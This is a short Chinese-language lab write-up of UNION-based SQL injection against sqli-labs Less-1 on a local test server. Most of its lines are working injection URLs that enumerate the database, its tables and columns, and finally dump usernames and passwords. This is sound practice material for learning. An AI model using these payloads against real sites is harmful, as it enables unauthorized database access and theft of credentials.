本文最后更新于 609 天前,其中的信息可能已经有所发展或是发生改变。
实验环境来自sqli-labs

首先输入个’测试下

发现报错,可能有SQL注入,order by看看回显几个字段
http://192.168.1.109:8888/Less-1/?id=1' order by 1#

发现还是报错,把#编码一下试试,#的URL编码为%23

不报错了


测试到4的时候发现报错了,那么字段数就是3
先测试一下回显的字段在哪
http://192.168.1.109:8888/Less-1/?id=-1' union select 1,2,3%23

接着可以注入数据库了
http://192.168.1.109:8888/Less-1/?id=-1' union select 1,2,database()%23

数据库名为security
查找表名
http://192.168.1.109:8888/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23

查找字段名
http://192.168.1.109:8888/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'%23

查找用户名密码
http://192.168.1.109:8888/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users%23


test :
:
test2 :
: